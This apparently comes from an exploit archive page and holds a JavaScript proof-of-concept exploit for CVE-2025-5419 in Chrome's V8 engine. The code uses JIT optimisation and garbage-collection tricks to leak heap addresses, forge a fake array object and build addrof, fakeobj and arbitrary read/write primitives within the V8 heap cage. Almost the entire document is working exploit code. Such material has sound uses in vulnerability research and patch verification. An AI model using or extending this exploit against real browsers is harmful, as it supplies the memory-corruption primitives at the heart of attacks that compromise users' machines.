4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-5419.js JS
// Commit: 609a85c2a1bd77d6f6905369f4bc4fcf34c5db09, 135.0.7049.52
// out/StaticReleaseWithSymbol/d8 --allow-natives-syntax --trace-opt --trace-deopt --trace-gc CVE-2025-5419.js
const ab = new ArrayBuffer(8);
const f64a = new Float64Array(ab, 0, 1);
const i32a = new Uint32Array(ab, 0, 2);
const bi64a = new BigUint64Array(ab, 0, 1);

function c2f(low, high = 0) { // combined (two 4 bytes) word to float
    i32a[0] = low;
    i32a[1] = high;
    return f64a[0];
}

function b2f(v) { // bigint to float
    bi64a[0] = v;
    return f64a[0];
}

function f2b(v) { // float to bigint
    f64a[0] = v;
    return bi64a[0];
}

function fhw(v) { // high word of float
    f64a[0] = v;
    return i32a[1];
}

function flw(v) { // low word of float
    f64a[0] = v;
    return i32a[0];
}

function bhw(v) { // high word of bigint
    bi64a[0] = v;
    return i32a[1];
}

function blw(v) { // low word of bigint
    bi64a[0] = v;
    return i32a[0];
}

function unptr(v) {
    return v & 0xfffffffe;
}

function ptr(v) {
    return v | 1;
}

function smi(v) {
    return v << 1;
}

function minor_gc() { // scavenge
    let arr = new Array(0x10000);
    for(let i = 0; i < arr.length; i++) {
        arr[i] = new String("");
    }
}

function major_gc() { // mark-sweep
    new ArrayBuffer(0x7fe00000);
}

// This object will survive across gc runs.
const faked_object_container = [0.0, 1.1, 2.2, 3.3];

function opt_leak(i) {
    let arr = [0, 1, 2, 3, 4, 5, 6, 7, 8];
    [arr[i + 0], arr[i + 1], arr[i + 2], arr[i + 3], arr[i + 4], arr[i + 5], arr[i + 6], arr[i + 7], arr[i + 8]];
    arr = [0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8];
    arr[0] = arr[i + 0]; arr[1] = arr[i + 1]; arr[2] = arr[i + 2]; arr[3] = arr[i + 3];
    arr[4] = arr[i + 4]; arr[5] = arr[i + 5]; arr[6] = arr[i + 6]; arr[7] = arr[i + 7]; arr[8] = arr[i + 8];
    return [arr[0], arr[1], arr[2], arr[3], arr[4], arr[5], arr[6], arr[7], arr[8]];
}

const PACKED_ELEMENTS_trigger_obj = {};

function opt_fake_obj(i) {
    let arr = [1, 2, 3];
    arr[i];
    arr = [1, 2, PACKED_ELEMENTS_trigger_obj];
    arr[0] = arr[i];
    return arr[0];
}

// %PrepareFunctionForOptimization(opt_leak);
// opt_leak(0);
// %OptimizeFunctionOnNextCall(opt_leak);
// opt_leak(0);
for (let i = 0; i < 100000; i++) {
    opt_leak(0);
}
// %PrepareFunctionForOptimization(opt_fake_obj);
// opt_fake_obj(0);
// %OptimizeFunctionOnNextCall(opt_fake_obj);
// opt_fake_obj(0);
for (let i = 0; i < 100000; i++) {
    opt_fake_obj(0);
}

function leak(obj) {
    minor_gc();
    major_gc();

    let objArr = [obj, 0x1234]; // PACKED_ELEMENTS
    let dblArr = [1.1]; // PACKED_DOUBLE_ELEMENTS
    let objArr2 = [obj, 0x5678];
    
    // %DebugPrint(objArr);
    // %DebugPrint(dblArr);
    // %DebugPrint(objArr2);
    
    objArr = null;
    dblArr = null;
    objArr2 = null;

    minor_gc();
    major_gc();

    let result = opt_leak(0);
    // %DebugPrint(result);
    // console.log("opt_leak: " + result.map((v) => {return f2b(v).toString(16).padStart(16, "0");}));
    // [
    // 0:   Smi(0x1234) | addrof(PACKED_ELEMENTS_trigger_obj), 
    // 1:   FixedArray[0] | PACKED_ELEMENTS_Map,
    // 2:   objArr.length | objArr.elements,
    // 3:   dblArr.elements.length | FixedDoubleArray_Map,
    // 4:   IEEE754(1.1), 
    // 5:   FixedArray[0] | PACKED_DOUBLE_ELEMENTS_Map,
    // 6:   dblArr.length | dblArr.elements,
    // 7:   objArr2.elements.length | FixedArray_Map,
    // 8:   Smi(0x5678) | addrof(PACKED_ELEMENTS_trigger_obj),
    // ]
    if (fhw(result[0]) != smi(0x1234) || Math.abs(result[4] - 1.1) > 1e-5 || fhw(result[8]) != smi(0x5678) || flw(result[0] != flw(result[8]))) {
        throw new Error("leak: Unexpected GC behaviour");
    }
    return [result, flw(result[0])];
}

// Test Unstable AddressOf
// let [leaks, addr] = leak(PACKED_ELEMENTS_trigger_obj);
// console.log(addr.toString(16));
// %DebugPrint(PACKED_ELEMENTS_trigger_obj);

function _fake(addr) {
    minor_gc();
    major_gc();

    let dblArr = [addr, 1.1]; // PACKED_DOUBLE_ELEMENTS
    
    // %DebugPrint(objArr);
    
    dblArr = null;

    minor_gc();
    major_gc();

    let result = opt_fake_obj(0);
    return result;
}

function fake(addr) {
    return _fake(c2f(addr, 0));
}

// Test Unstable FakeObject
// let faked_obj = fake(0xdeadbeef);
// %DebugPrint(faked_obj);

let [leak_values, faked_object_container_addr] = leak(faked_object_container);
const PACKED_ELEMENTS_Map = flw(leak_values[1]);
const PACKED_DOUBLE_ELEMENTS_Map = flw(leak_values[5]);
const FixedArray_Map = flw(leak_values[7]);
const FixedDoubleArray_Map = flw(leak_values[3]);
const EmptyFixedArray = fhw(leak_values[1]);

// Fake an JSArray with PACKED_DOUBLE_ELEMENTS elementsKind
const faked_array_length = 0x1000_0000;
faked_object_container[0] = c2f(PACKED_DOUBLE_ELEMENTS_Map, EmptyFixedArray); // map, properties
faked_object_container[1] = c2f(EmptyFixedArray, smi(faked_array_length)); // elements, length
// %DebugPrint(faked_object_container);

const faked_object_container_elements_values_to_itself_offset = 0x168 + 0x8;
let faked_arr_addr = faked_object_container_addr + faked_object_container_elements_values_to_itself_offset;
// [!] `faked_arr` is a faked reference! Remember to clear it before next GC!
let faked_arr = fake(faked_arr_addr);
// %DebugPrint(faked_object_container);
// %DebugPrint(faked_arr);
if (faked_arr.length != faked_array_length) {
    throw new Error("Array faking failed!");
}

// The following primitives are hopefully functional under the condition that more GC won't cause `faked_arr`'s movement.
const MinimiumModifiableCageAddress = EmptyFixedArray - 0x1 + 0x8;

function _switch_to_PACKED_DOUBLE_ELEMENTS_Map() {
    faked_object_container[0] = c2f(PACKED_DOUBLE_ELEMENTS_Map, EmptyFixedArray);
}

function _switch_to_PACKED_ELEMENTS_Map() {
    faked_object_container[0] = c2f(PACKED_ELEMENTS_Map, EmptyFixedArray);
}

function _cage_address_difference_is_QWORD_aligned(addr) {
    return !((addr - MinimiumModifiableCageAddress) & 7);
}

function _cage_read64(addr) { // (number) -> float
    if (addr < MinimiumModifiableCageAddress) throw new Error("addr must after EmptyFixedArray.objects!");
    if (!_cage_address_difference_is_QWORD_aligned(addr)) throw new Error("difference must be QWORD aligned!");
    let difference = addr - MinimiumModifiableCageAddress;
    let index = difference >> 3;
    return faked_arr[index];
}

function _cage_write64(addr, value) { // (number, float) -> void
    if (addr < MinimiumModifiableCageAddress) throw new Error("addr must after EmptyFixedArray.objects!");
    if (!_cage_address_difference_is_QWORD_aligned(addr)) throw new Error("difference must be QWORD aligned!");
    let difference = addr - MinimiumModifiableCageAddress;
    let index = difference >> 3;
    faked_arr[index] = value;
}

function cage_read32(addr) { // (number) -> (number)
    if (addr & 3) throw new Error("addr must be DWORD aligned!");
    let isLowDWORD = _cage_address_difference_is_QWORD_aligned(addr);
    if (!isLowDWORD) addr -= 0x4;
    let QWORD_result = _cage_read64(addr);
    return isLowDWORD ? flw(QWORD_result): fhw(QWORD_result);
}

function cage_read64(addr) { // (number) -> bigint
    if (_cage_address_difference_is_QWORD_aligned(addr)) {
        return f2b(_cage_read64(addr));
    }
    return f2b(c2f(cage_read32(addr), cage_read32(addr + 0x4)));
}

function cage_write32(addr, value) { // (number, number) -> void
    if (addr & 3) throw new Error("addr must be DWORD aligned!");
    let isLowDWORD = _cage_address_difference_is_QWORD_aligned(addr);
    if (!isLowDWORD) addr -= 0x4;
    let QWORD_result = _cage_read64(addr);
    if (isLowDWORD) _cage_write64(addr, c2f(value, fhw(QWORD_result)));
    else _cage_write64(addr, c2f(flw(QWORD_result), value));
}

function cage_write64(addr, value) { // (number, bigint) -> void
    if (_cage_address_difference_is_QWORD_aligned(addr)) {
        _cage_write64(addr, b2f(value));
        return;
    }
    cage_write32(addr, blw(value));
    cage_write32(addr + 0x4, bhw(value));
}

// Validate the correctness of cage_read32
if (cage_read32(unptr(faked_arr_addr)) != PACKED_DOUBLE_ELEMENTS_Map) {
    throw new Error("cage_read32 validation failed!");
}

let faked_arr_elements_addr = faked_arr_addr + 0x10;

function addrof(obj) {
    const difference = faked_arr_elements_addr - 0x1 - MinimiumModifiableCageAddress;
    _switch_to_PACKED_ELEMENTS_Map();
    faked_arr[difference >> 2] = obj;
    _switch_to_PACKED_DOUBLE_ELEMENTS_Map();
    return flw(faked_object_container[2]);
}

// Test Stable AddressOf
// let obj = {};
// %DebugPrint(obj);
// console.log(addrof(obj).toString(16));

function fakeobj(addr) {
    const difference = faked_arr_elements_addr - 0x1 - MinimiumModifiableCageAddress;
    faked_object_container[2] = c2f(addr);
    _switch_to_PACKED_ELEMENTS_Map();
    let obj = faked_arr[difference >> 2];
    _switch_to_PACKED_DOUBLE_ELEMENTS_Map();
    return obj;
}

// Test Stable FakeObject
// let faked_obj = fakeobj(0xdeadbeef);
// %DebugPrint(faked_obj);